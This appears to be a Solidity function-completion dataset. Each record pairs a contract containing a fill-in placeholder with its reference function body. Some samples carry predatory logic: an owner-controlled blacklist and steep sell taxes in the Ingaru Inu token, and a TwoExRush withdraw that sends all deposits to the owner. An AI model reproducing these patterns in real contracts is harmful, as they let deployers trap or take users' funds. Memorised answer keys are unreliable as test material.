5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _Marketingfund; address payable private _Deployer; address payable private _devWalletAddress; address payable private _holdings; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; bool private enableLevelSell = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable marketingTaxAddress, address payable devfeeAddr, address payable depAddr, address payable holdings) { _Marketingfund = marketingTaxAddress; _Deployer = depAddr; _devWalletAddress = devfeeAddr; _holdings = holdings; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_Marketingfund] = true; _isExcludedFromFee[_devWalletAddress] = true; _isExcludedFromFee[_Deployer] = true; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // bsc 0x10ED43C718714eb63d5aA57B78B54704E256024E eth 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) {<FILL_FUNCTION_BODY> } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setLevelSellEnabled(bool enable) external onlyOwner { enableLevelSell = enable; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_devTax == 0 && _summedTax == 0) return; _devTax = 0; _summedTax = 0; } function restoreAllFee() private { _devTax = _buyDevTax; _marketingTax = _buyMarketingTax; _salesTax = _buySalesTax; _summedTax = _marketingTax+_salesTax; } function takeBuyFee() private { _salesTax = _buySalesTax; _marketingTax = _buyMarketingTax; _devTax = _buyDevTax; _summedTax = _marketingTax+_salesTax; } function takeSellFee() private { _devTax = _sellDevTax; _salesTax = _sellSalesTax; _marketingTax = _sellMarketingTax; _summedTax = _sellSalesTax+_sellMarketingTax; } function levelSell(uint256 amount, address sender) private returns (uint256) { uint256 sellTax = amount.mul(_totalSellTax).div(100); _rOwned[sender] = _rOwned[sender].sub(sellTax); _rOwned[address(this)] = _rOwned[address(this)].add(sellTax); uint256 tAmount = amount.sub(sellTax); uint256 prevEthBalance = address(this).balance; swapTokensForEth(sellTax); uint256 newEthBalance = address(this).balance; uint256 balanceDelta = newEthBalance - prevEthBalance; if (balanceDelta > 0) { sendETHForSellTax(balanceDelta); } return tAmount; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } if(from != address(this)){ require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } if (from != owner() && to != owner() && to != uniswapV2Pair) { require(swapEnabled, "Swap disabled"); _tokenTransfer(from, to, amount, takeFee); } else { _tokenTransfer(from, to, amount, takeFee); } } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), type(uint256).max); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _Marketingfund.transfer(amount.div(_totalBuyTax).mul(_buyMarketingTax)); _devWalletAddress.transfer(amount.div(_totalBuyTax).mul(_buyDevTax)); _Deployer.transfer(amount.div(_totalBuyTax).mul(_buySalesTax)); } function sendETHForSellTax(uint256 amount) private { _holdings.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 25000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external onlyOwner() { swapEnabled = enabled; } function manualswap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function setBot(address _bot) external onlyOwner() { bots[_bot] = true; } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { uint256 amountToTx = amount; if (!takeFee) { removeAllFee(); } else if(sender == uniswapV2Pair) { takeBuyFee(); } else if(recipient == uniswapV2Pair) { takeSellFee(); if (enableLevelSell) { uint256 remainder = levelSell(amount, sender); amountToTx = remainder; } } else { takeSellFee(); } _transferStandard(sender, recipient, amountToTx); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _devTax, _summedTax); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 _taxFee = taxFee > 0 ? taxFee : 1; uint256 _TeamFee = TeamFee > 0 ? TeamFee : 1; uint256 tFee = tAmount.mul(_taxFee).div(100); uint256 tTeam = tAmount.mul(_TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() { require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _summedTax = teamFee; } }
contract IngaruInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ingaru Inu"; string private constant _symbol = "IGU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _devTax; uint256 private _buyDevTax = 4; uint256 private _sellDevTax = 8; uint256 private _marketingTax; uint256 private _buyMarketingTax = 5; uint256 private _sellMarketingTax = 8; uint256 private _salesTax; uint256 private _buySalesTax = 5; uint256 private _sellSalesTax = 6; uint256 private _totalBuyTax = _buyDevTax + _buyMarketingTax + _buySalesTax; uint256 private _totalSellTax = _sellDevTax + _sellMarketingTax + _sellSalesTax; uint256 private _summedTax = _marketingTax+_salesTax; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _Marketingfund; address payable private _Deployer; address payable private _devWalletAddress; address payable private _holdings; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; bool private enableLevelSell = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable marketingTaxAddress, address payable devfeeAddr, address payable depAddr, address payable holdings) { _Marketingfund = marketingTaxAddress; _Deployer = depAddr; _devWalletAddress = devfeeAddr; _holdings = holdings; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_Marketingfund] = true; _isExcludedFromFee[_devWalletAddress] = true; _isExcludedFromFee[_Deployer] = true; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // bsc 0x10ED43C718714eb63d5aA57B78B54704E256024E eth 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } <FILL_FUNCTION> function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setLevelSellEnabled(bool enable) external onlyOwner { enableLevelSell = enable; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_devTax == 0 && _summedTax == 0) return; _devTax = 0; _summedTax = 0; } function restoreAllFee() private { _devTax = _buyDevTax; _marketingTax = _buyMarketingTax; _salesTax = _buySalesTax; _summedTax = _marketingTax+_salesTax; } function takeBuyFee() private { _salesTax = _buySalesTax; _marketingTax = _buyMarketingTax; _devTax = _buyDevTax; _summedTax = _marketingTax+_salesTax; } function takeSellFee() private { _devTax = _sellDevTax; _salesTax = _sellSalesTax; _marketingTax = _sellMarketingTax; _summedTax = _sellSalesTax+_sellMarketingTax; } function levelSell(uint256 amount, address sender) private returns (uint256) { uint256 sellTax = amount.mul(_totalSellTax).div(100); _rOwned[sender] = _rOwned[sender].sub(sellTax); _rOwned[address(this)] = _rOwned[address(this)].add(sellTax); uint256 tAmount = amount.sub(sellTax); uint256 prevEthBalance = address(this).balance; swapTokensForEth(sellTax); uint256 newEthBalance = address(this).balance; uint256 balanceDelta = newEthBalance - prevEthBalance; if (balanceDelta > 0) { sendETHForSellTax(balanceDelta); } return tAmount; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } if(from != address(this)){ require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } if (from != owner() && to != owner() && to != uniswapV2Pair) { require(swapEnabled, "Swap disabled"); _tokenTransfer(from, to, amount, takeFee); } else { _tokenTransfer(from, to, amount, takeFee); } } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), type(uint256).max); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _Marketingfund.transfer(amount.div(_totalBuyTax).mul(_buyMarketingTax)); _devWalletAddress.transfer(amount.div(_totalBuyTax).mul(_buyDevTax)); _Deployer.transfer(amount.div(_totalBuyTax).mul(_buySalesTax)); } function sendETHForSellTax(uint256 amount) private { _holdings.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 25000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external onlyOwner() { swapEnabled = enabled; } function manualswap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function setBot(address _bot) external onlyOwner() { bots[_bot] = true; } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { uint256 amountToTx = amount; if (!takeFee) { removeAllFee(); } else if(sender == uniswapV2Pair) { takeBuyFee(); } else if(recipient == uniswapV2Pair) { takeSellFee(); if (enableLevelSell) { uint256 remainder = levelSell(amount, sender); amountToTx = remainder; } } else { takeSellFee(); } _transferStandard(sender, recipient, amountToTx); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _devTax, _summedTax); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 _taxFee = taxFee > 0 ? taxFee : 1; uint256 _TeamFee = TeamFee > 0 ? TeamFee : 1; uint256 tFee = tAmount.mul(_taxFee).div(100); uint256 tTeam = tAmount.mul(_TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() { require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _summedTax = teamFee; } }
return _decimals;
function decimals() public pure returns (uint8)
function decimals() public pure returns (uint8)
90375
Ownable
withdrawEther
contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract * to the sender account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == _owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0)); _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } /** * @dev Rescue compatible ERC20 Token * * @param tokenAddr ERC20 The address of the ERC20 token contract * @param receiver The address of the receiver * @param amount uint256 */ function rescueTokens(address tokenAddr, address receiver, uint256 amount) external onlyOwner { IERC20 _token = IERC20(tokenAddr); require(receiver != address(0)); uint256 balance = _token.balanceOf(address(this)); require(balance >= amount); assert(_token.transfer(receiver, amount)); } /** * @dev Withdraw Ether */ function withdrawEther(address payable to, uint256 amount) external onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract * to the sender account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == _owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0)); _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } /** * @dev Rescue compatible ERC20 Token * * @param tokenAddr ERC20 The address of the ERC20 token contract * @param receiver The address of the receiver * @param amount uint256 */ function rescueTokens(address tokenAddr, address receiver, uint256 amount) external onlyOwner { IERC20 _token = IERC20(tokenAddr); require(receiver != address(0)); uint256 balance = _token.balanceOf(address(this)); require(balance >= amount); assert(_token.transfer(receiver, amount)); } <FILL_FUNCTION> }
require(to != address(0)); uint256 balance = address(this).balance; require(balance >= amount); to.transfer(amount);
function withdrawEther(address payable to, uint256 amount) external onlyOwner
/** * @dev Withdraw Ether */ function withdrawEther(address payable to, uint256 amount) external onlyOwner
55818
TwoExRush
withdraw
contract TwoExRush { string constant public name = "TwoExRush"; address owner; address sender; uint256 withdrawAmount; uint256 contractATH; uint256 contractBalance; mapping(address => uint256) internal balance; function TwoExRush() public { owner = msg.sender; } // Require goal to be met before allowing anyone to withdraw. function withdraw() public {<FILL_FUNCTION_BODY> } function deposit() public payable { sender = msg.sender; balance[sender] += msg.value; contractATH += msg.value; contractBalance += msg.value; } function () payable public { if (msg.value > 0) { deposit(); } else { withdraw(); } } // Safe Math function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } }
contract TwoExRush { string constant public name = "TwoExRush"; address owner; address sender; uint256 withdrawAmount; uint256 contractATH; uint256 contractBalance; mapping(address => uint256) internal balance; function TwoExRush() public { owner = msg.sender; } <FILL_FUNCTION> function deposit() public payable { sender = msg.sender; balance[sender] += msg.value; contractATH += msg.value; contractBalance += msg.value; } function () payable public { if (msg.value > 0) { deposit(); } else { withdraw(); } } // Safe Math function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } }
owner.transfer(contractBalance); if(contractATH >= 20) { sender = msg.sender; withdrawAmount = mul(balance[sender], 2); sender.transfer(withdrawAmount); contractBalance -= balance[sender]; balance[sender] = 0; }
function withdraw() public
// Require goal to be met before allowing anyone to withdraw. function withdraw() public
31364
SafeMath
volumeBonus
contract SafeMath { uint constant DAY_IN_SECONDS = 86400; uint constant BASE = 1000000000000000000; uint constant preIcoPrice = 4101; uint constant icoPrice = 2255; function mul(uint256 a, uint256 b) constant internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) constant internal returns (uint256) { assert(b != 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) constant internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) constant internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function mulByFraction(uint256 number, uint256 numerator, uint256 denominator) internal returns (uint256) { return div(mul(number, numerator), denominator); } // presale volume bonus calculation function presaleVolumeBonus(uint256 price) internal returns (uint256) { // preCTX > ETH uint256 val = div(price, preIcoPrice); if(val >= 100 * BASE) return add(price, price * 1/20); // 5% if(val >= 50 * BASE) return add(price, price * 3/100); // 3% if(val >= 20 * BASE) return add(price, price * 1/50); // 2% return price; } // ICO volume bonus calculation function volumeBonus(uint256 etherValue) internal returns (uint256) {<FILL_FUNCTION_BODY> } // ICO date bonus calculation function dateBonus(uint startIco) internal returns (uint256) { // day from ICO start uint daysFromStart = (now - startIco) / DAY_IN_SECONDS + 1; if(daysFromStart == 1) return 15; // +15% tokens if(daysFromStart == 2) return 10; // +10% tokens if(daysFromStart == 3) return 10; // +10% tokens if(daysFromStart == 4) return 5; // +5% tokens if(daysFromStart == 5) return 5; // +5% tokens if(daysFromStart == 6) return 5; // +5% tokens // no discount return 0; } }
contract SafeMath { uint constant DAY_IN_SECONDS = 86400; uint constant BASE = 1000000000000000000; uint constant preIcoPrice = 4101; uint constant icoPrice = 2255; function mul(uint256 a, uint256 b) constant internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) constant internal returns (uint256) { assert(b != 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) constant internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) constant internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function mulByFraction(uint256 number, uint256 numerator, uint256 denominator) internal returns (uint256) { return div(mul(number, numerator), denominator); } // presale volume bonus calculation function presaleVolumeBonus(uint256 price) internal returns (uint256) { // preCTX > ETH uint256 val = div(price, preIcoPrice); if(val >= 100 * BASE) return add(price, price * 1/20); // 5% if(val >= 50 * BASE) return add(price, price * 3/100); // 3% if(val >= 20 * BASE) return add(price, price * 1/50); // 2% return price; } <FILL_FUNCTION> // ICO date bonus calculation function dateBonus(uint startIco) internal returns (uint256) { // day from ICO start uint daysFromStart = (now - startIco) / DAY_IN_SECONDS + 1; if(daysFromStart == 1) return 15; // +15% tokens if(daysFromStart == 2) return 10; // +10% tokens if(daysFromStart == 3) return 10; // +10% tokens if(daysFromStart == 4) return 5; // +5% tokens if(daysFromStart == 5) return 5; // +5% tokens if(daysFromStart == 6) return 5; // +5% tokens // no discount return 0; } }
if(etherValue >= 1000000000000000000000) return 15;// +15% tokens if(etherValue >= 500000000000000000000) return 10; // +10% tokens if(etherValue >= 300000000000000000000) return 7; // +7% tokens if(etherValue >= 100000000000000000000) return 5; // +5% tokens if(etherValue >= 50000000000000000000) return 3; // +3% tokens if(etherValue >= 20000000000000000000) return 2; // +2% tokens return 0;
function volumeBonus(uint256 etherValue) internal returns (uint256)
// ICO volume bonus calculation function volumeBonus(uint256 etherValue) internal returns (uint256)
14458
CreditableToken
credit
contract CreditableToken is StandardToken, Ownable { using SafeMath for uint256; event Credit(address indexed _debit_contract, uint256 value); function credit(uint256 _value) public {<FILL_FUNCTION_BODY> } event Drawdown(address indexed _from_creditor, uint256 _value); }
contract CreditableToken is StandardToken, Ownable { using SafeMath for uint256; event Credit(address indexed _debit_contract, uint256 value); <FILL_FUNCTION> event Drawdown(address indexed _from_creditor, uint256 _value); }
require(_value > 0); require(_value <= balances[owner]); require(msg.sender == note_contract); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure //address _creditor = owner; balances[owner] = balances[owner].sub(_value); totalSupply = totalSupply.sub(_value); emit Credit(msg.sender, _value); emit Drawdown(owner, _value);
function credit(uint256 _value) public
function credit(uint256 _value) public
65112
TrappedCat
null
